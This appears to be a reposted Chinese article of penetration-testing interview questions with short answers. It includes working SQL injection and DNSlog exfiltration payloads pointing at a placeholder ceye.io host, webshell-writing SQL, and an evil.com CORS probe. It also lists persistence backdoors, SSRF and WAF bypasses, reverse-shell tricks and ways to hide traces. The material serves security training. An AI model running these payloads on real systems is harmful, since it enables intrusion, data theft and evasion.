最新!滲透測試面試近期熱門題

可領全套安全課程、配套攻防靶場


最新!滲透測試面試近期熱門題


前言


近期也是一個就業高峰期,整理了一些面試時喜歡問的問題,總結了一下。希望對你們會有幫助~


崗位分析


整體安全行業,隨著網絡安全的大火,Web安全入門淺,培訓機構遍地開會,大量花裡胡哨的人才都爭著用了進來,所以想要突出,必須要有自己的一技之長。


那麼當前網絡安全的技術崗位,熱門方向有很多,說幾個例子。


逆向 APT 代碼審計

區塊鏈 滲透(不限於內網、CS客戶端,APP,小程序,微服務等)


常見面試題及參考


問:MySQL寫WebShell有幾種方式,利用條件


答:

一、

union select 後寫入

lines terminated by 寫入

lines starting by 寫入

fields terminated by 寫入

COLUMNS terminated by 寫入

二、

root權限

GPC關閉(能使用單引號),magic_quotes_gpc=On

有絕對路徑(讀文件可以不用,寫文件必須)

沒有配置–secure-file-priv

成功條件:有讀寫的權限,有create、insert、select的權限


問:Sql 注入無回顯的情況下,利用 DNSlog,mysql 下利用什麼構造代碼,mssql 下又如何?


答:

(1)沒有回顯的情況下,一般編寫腳本,進行自動化注入。但與此同時,由於防火牆的存在,容易被封禁IP,可以嘗試調整請求頻率,有條件的使用代理池進行請求。


(2)此時也可以使用 DNSlog 注入,原理就是把服務器返回的結果放在域名中,然後讀取 DNS 解析時的日誌,來獲取想要的信息。


(3)Mysql 中利用 load_file() 構造payload

‘ and if((select load_file(concat(‘\\\\\\\\’,(select database()),’.xxx.ceye.io\\\\abc’))),1,0)#


(4)Mssql 下利用 master..xp_dirtree 構造payload

DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\\’+@host+’\\foobar$”‘);


問:phpmyadmin寫sehll的方法


答:

一、常規導入shell的操作

創建數據表導出shell

CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );

INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘’);

SELECT `content` FROM `shadow9` INTO OUTFILE ‘C:\\\\phpStudy\\\\WWW\\\\90sec.php’;

DROP TABLE IF EXISTS `shadow9`;

二、一句話導出shell:

<code>select '' into outfile 'c:/phpstudy/www/90sec.php';   select '' into outfile 'c:\\\\phpstudy\\\\www\\\\90sec.php'; select '' into dumpfile 'c:\\\\phpstudy\\\\www\\\\bypass.php';/<code>


三、日誌備份獲取shell

<code>show global variables like "%genera%";          //查詢general_log配置 set global general_log='on';              //開啟general log模式 SET global general_log_file='D:/phpStudy/WWW/cmd.php';    //設置日誌文件保存路徑 SELECT '';              //phpinfo()寫入日誌文件 set global general_log='off';              //關閉general_log模式/<code> 


問:權限維持的方法


答:

留自啟動後門方法很多,大多數都添加到服務,加註冊表 加啟動項,

windows:

1.替換系統文件類(shift後門,放大鏡後門)

2.修改註冊表類

自啟動項、屏幕保護程序註冊表、用戶登陸初始化、登錄腳本、映像劫持、影子賬戶、AppCertDlls註冊表項、AppInit_DLLs註冊表項、文件關聯、用戶登陸初始化、xx.Netsh Helper DLL

3.文件類

自啟動文件夾、office Word StartUp劫持

4.計劃任務

schtasks 、WMI、bitsadmin

Linux

1.預加載型動態鏈接庫後門

2.strace後門

3.SSH 後門

4.SUID後門

5.inetd服務後門

6.協議後門

7.vim後門

8.PAM後門

9.進程注入

10.Rootkit

11.端口複用

MSF權限維持

1.Persistence模塊

2.Metsvc 模塊

Powershell權限維持

CS權限維持

SC命令


問:XXE 漏洞原理,代碼審計如何尋找?


答:

(1)XXE (XML 外部實體注入)當 應用允許引用 XML 外部實體時,攻擊者通過構造惡意內容,就可能進行任意文件讀取、系統命令執行、內網端口探測、內網網站攻擊等操作。

支持的協議如下圖:

最新!滲透測試面試近期熱門題

Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)

(2)審計函數,涉及到XML文件處理,都可能造成 XXE

(3)防禦方法:禁用外部實體


問:SSRF 禁用 127.0.0.1 後如何繞過,支持哪些協議?


答:

(1)利用進制轉換

(2)利用DNS解析

(3)利用句號(127。0。0。1)

(4)利用[::](http://[::]:80/);

(5)利用@(http://[email protected]);

(6)利用短地址(http://dwz.cn/11SMa);

(7)協議(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)


問:應急響應如何查找挖礦病毒,如何通過進程找到挖礦文件


答:

(1)任務管理器netstat -anp尋找異常進程PID看端口信息,然後根據端口信息定位到文件,cd /proc/PID (ls -l查看),

禁用可疑的服務項。

(2)windows還可以用wmic分析進程參數


問:struts2框架漏洞原理


答:

(1)struts是java的web框架

(2)採取OGNL表達式,處理view層數據字符串到controller層轉換成java對象

(3)重點關注的編號加粗如下

S2-057 影響範圍非常小

S2-048 影響範圍非常小

S2-046 和S2-045一樣

S2-045 影響範圍較大—-通過Content-Type這個header頭,進而執行命令,通過Strus2對錯誤消息處理進行回顯

S2-037 影響範圍小

S2-032 影響範圍小

S2-020 影響範圍小

S2-019 影響範圍一般

S2-016 影響範圍非常大

S2-013 S2-016範圍內

S2-009 S2-016範圍內

S2-005 S2-016範圍內


問:JAVA反序列化原理


答:

(1)Java序列化指Java對象轉換為字節序列的過程

(2)Java反序列化指字節序列恢復為Java對象的過程

(3) Commons-collections 爆出第一個漏洞開始,Java反序列化漏洞的事件就層出不窮。

(4)在Java中,利用ObjectInputStream的readObject方法進行對象讀取

(5)可以深入瞭解 ysoserial有哪些gadgets


問:cors如何產生,有哪些利用方式?繞過同源策略的方法有哪些?jsonp跨域如何利用?


答:

(1)CORS全稱是”跨域資源共享”(Cross-origin resource sharing),Origin源未嚴格,從而造成跨域問題,允許瀏覽器向跨源服務器,發出XMLHttpRequest請求

(2)Origin為*的時候,使用curl測試CORS,

curl -H “Origin: https://evil.com” -I

再尋找的api接口是否有敏感信息洩漏。

(3)同源:協議相同、域名相同、端口相同,繞過同源策略限制的方法:

1、document.domain屬性

2、片段識別符(URL後加#號)

3、window.name

4、跨文檔通信API

5、JSONP

6、CORS

7、WebSockets

(4)jsonp跨域利用:獲取JSON數據並編碼發送到遠程服務器上


問:phar協議如何利用,php偽協議input與post數據包發送有什麼區別?


答:

(1)可以Bypass一些waf,繞過上傳限制

(2)Phar反序列化,Phar:// 偽協議讀取phar文件時,會反序列化meta-data儲存

(3) 區別

一、 application/x-www-form-urlencoded 或 multipart/form-data時

php://input 中是原始數據。

$_POST 中是關聯數組,且沒有上傳控件的內容。

二、enctype=”multipart/form-data” 時

php://input 是無效的。

三、 Content-Type = “text/plain”時

$_POST 不能獲取post的數據, php://input可以。


問:內網服務器,如何進行信息收集


答:

(1)手動,用一些小工具(批量看存活)

new user /domain查域、net view看共享、hosts文件內網ip域名映射、wifi記錄和密碼、瀏覽器中的密碼、敏感文件、各類服務的配置文件中信息、歷史命令、ssh私鑰、FTP的連接信息、xshell等ssh連接工具的session文件,3389連接歷史和被連接歷史信息、某些內網api接口未授權訪問

(2)掃描器

主機掃描、端口掃描、漏洞掃描、識別內網環境、密碼爆破、抓密碼

(3)留後門,抓信息


問:內網黃金票據、白銀票據的區別和利用方式


答:

(1)白銀票據:抓取到了域控服務hash的情況下,在客戶端以一個普通域用戶的身份生成TGS票據,並且是針對於某個機器上的某個服務的,生成的白銀票據,只能訪問指定的target機器中指定的服務。

黃金票據:直接抓取域控中賬號的hash,來在client端生成一個TGT票據,那麼該票據是針對所有機器的所有服務。

(2)通過mimkatz執行,導出域控中賬號的Hash


問:docker遠程api漏洞原理


答:

(1)docker swarm 是一個將docker集群變成單一虛擬的docker host工具,使用標準的Docker API,能夠方便docker集群的管理和擴展,該未授權訪問,可以通過url操作,執行docker命令。

(2)通過docker client執行目標服務器容器命令,docker是以root權限運行的

一、有運行ssh服務,/root/.ssh目錄掛載到container內,,然後修改/.ssh/authorized_keys 文件,把自己的public key寫進去

二、沒有運行ssh服務,利用掛載寫crontab定時任務,反彈一個shell


問:ssrf怎麼用redis寫shell


答:

(1)SSRF服務端請求偽造

一、對內網掃描,獲取 banner

二、攻擊運行在內網的應用,主要是使用 GET 參數就可以實現的攻擊(比如 Struts2,sqli 等)

三、利用協議讀取本地文件

四、 雲計算環境AWS Google Cloud 環境可以調用內網操作 ECS 的 API

(2)如webligic SSRF漏洞

通過SSRF的gopher協議操作內網的redis,利用redis將反彈shell寫入crontab定時任務,url編碼,將\\r字符串替換成%0d%0a


問:預編譯能否100%防sql注入,如果不能,寫一個


答:

不能。

一、

<code>$pdo->query('SET NAMES gbk');
$var = "\\\\xbf\\\\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(array($var));/<code>

類似於寬字節注入

二、

<code>$dbh = new PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where username = :username');
$stmt->execute( array(':username' => $_REQUEST['username']) );/<code>

參數name是一串數組,PDO不會生效

三、

$stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');

PDO對DDL不生效


問:WAF 繞過


答:

1 註釋替換空格

2 字符集繞過

3 chunked繞過

4 上傳請求 multipart 繞過

5.參數汙染

。。。


問:SQL注入構造payload


答:

一、布爾型盲注

(1)mysql :

‘and (length(database()))>10 –+

(2)oracle:

‘ and 1=(select decode(user,’SCOTT’,1,0) from dual) –

二、時間型盲注

and if(ascii(substr((select database()),1,1))>115,1,sleep(5))

三、利用報錯回顯

(1) extractvalue

and extractvalue(1,concat(0x7e,(select database())))

(2) updatexml

updatexml(1,concat(0x7e,(select @@version),0x7e),1)


問:UDF提權原理


答:利用了root 高權限,創建帶有調用cmd的函數的udf.dll動態鏈接庫,導出 udf.dll 文件後,我們就可以直接在命令框輸入 cmd


問:提權方式


答:

windows:

1.systminfo ,根據系統補丁提權

2.第三方服務提權

3.數據庫提權

。。。

linux:

1.利用系統內核漏洞進行提權

2.洩漏密碼提權

3.sudo提權

4.SUID提權

。。。


問:XSS彈窗函數及常見的 XSS 繞過策略


答:

一、alert,confirm,prompt三種函數

二、繞過策略

1. 大小寫混合

2. 雙寫

3.編碼

4. fuzz 低頻使用標籤 <details>

5. fuzz 低頻使用函數 ontoggle 等

6.

7.%0a或者%0d繞過


問:Windows cmd 如何下載文件


答:

1.certutil.exe


2.powershell

3.bitsadmin

4.vbs

5.ftp



問:SVN/GIT源代碼洩露


答:

(1)在使用SVN管理本地代碼過程中,會自動生成一個名為.svn的隱藏文件夾,其中包含重要的源代碼信息

/.git/config

(2)使用git進行版本控制,對站點自動部署。如果配置不當,可能會將.git文件夾直接部署到線上環境。這就引起了git洩露漏洞

/.svn/entries

問:reverse_tcp 和 bind_tcp 的區別

答:

(1)reverse_tcp

木馬會主動連接目標服務器

(2)bind_tcp

木馬會監聽本地的端口


什麼是fastjson,有哪些漏洞?


答:

(1)Fastjson是Alibaba開發的Java語言編寫的高性能JSON庫

(2)攻擊者準備rmi服務和web服務,將rmi絕對路徑注入到lookup方法中,受害者JNDI接口會指向攻擊者控制rmi服務器,JNDI接口向攻擊者控制web服務器遠程加載惡意代碼,執行構造函數形成RCE

(3)fastjson漏洞歷史

1.fastjson-1.2.24

(fastjson接受的JSON可以通過艾特type字段來指定該JSON應當還原成何種類型的對象,在反序列化的時候方便操作)

2.fastjson-1.248以下

(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去獲取class不為空,從而繞過了黑名單檢測)

3.fastjson-1.2.60以下

(在此版本以下,字符串中包含\\\\x轉義字符時可以造成dos漏洞)


問:隱藏攻擊痕跡的方法


答:

1.跳板

2.代理服務器

3.Tor

4.日誌

5.清除歷史記錄

6.粉碎文件


理解漏洞


講訴一些近期及有代表性的漏洞


Microsoft Exchange .Net反序列化遠程代碼執行(CVE-2020-0688)

該漏洞是由於Exchange控制面板(ECP)組件中使用了靜態密鑰validationKey和decryptionKey


Apache Tomcat 文件包含漏洞(CVE-2020-1938)

默認情況下,Tomcat會開啟AJP連接器, Tomcat在AJP協議的實現上存在漏洞,導致攻擊者可以通過發送惡意的請求,可以讀取或者包含Web根目錄下的任意文件,配合文件上傳,將導致任意代碼執行(RCE)


Weblogic IIOP反序列化漏洞(CVE-2020-2551)

weblogic核心組件中IIOP協議,通過該協議對存在漏洞的WebLogic進行遠程代碼執行的攻擊


Apache Solr遠程代碼執行(CVE-2019-12409)

默認配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默認配置不安全.如果使用默認配置,將啟用JMX監視服務並將對公網監聽18983的RMI端口,無需任何驗證,配合JMX RMI遠程代碼執行


SHIRO-550 反序列化漏洞

shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:

得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化

AES的密鑰是硬編碼在代碼裡,就導致了反序列化的RCE漏洞


SHIRO-721反序列化漏洞

不需要key,利用Padding Oracle Attack構造出RememberMe字段後段的值結合合法的RememberMe cookie即可完成攻擊


泛微Ecology OA SQL注入漏洞

validate.jsp接口的SQL注入,/cpt/manage/validate.jsp


泛微ecology OA系統接口存在數據庫配置信息洩露

/mobile/dbconfigreader.jsp,直接訪問該頁面將為DES加密以後的亂碼,使用DES算法結合硬編碼的key進行解密


Confluence本地文件洩露漏洞(CVE-2019-3394)

catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在過濾和限制,所以可遍歷路徑均在/WEB-INF下


Apache Dubbo反序列化漏洞(CVE-2019-17564)

當HTTP remoting 開啟的時候,存在反序列化漏洞


轉載自:https://www.freebuf.com/vuls/228750.html


今天你知道了嗎

最新!滲透測試面試近期熱門題


加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: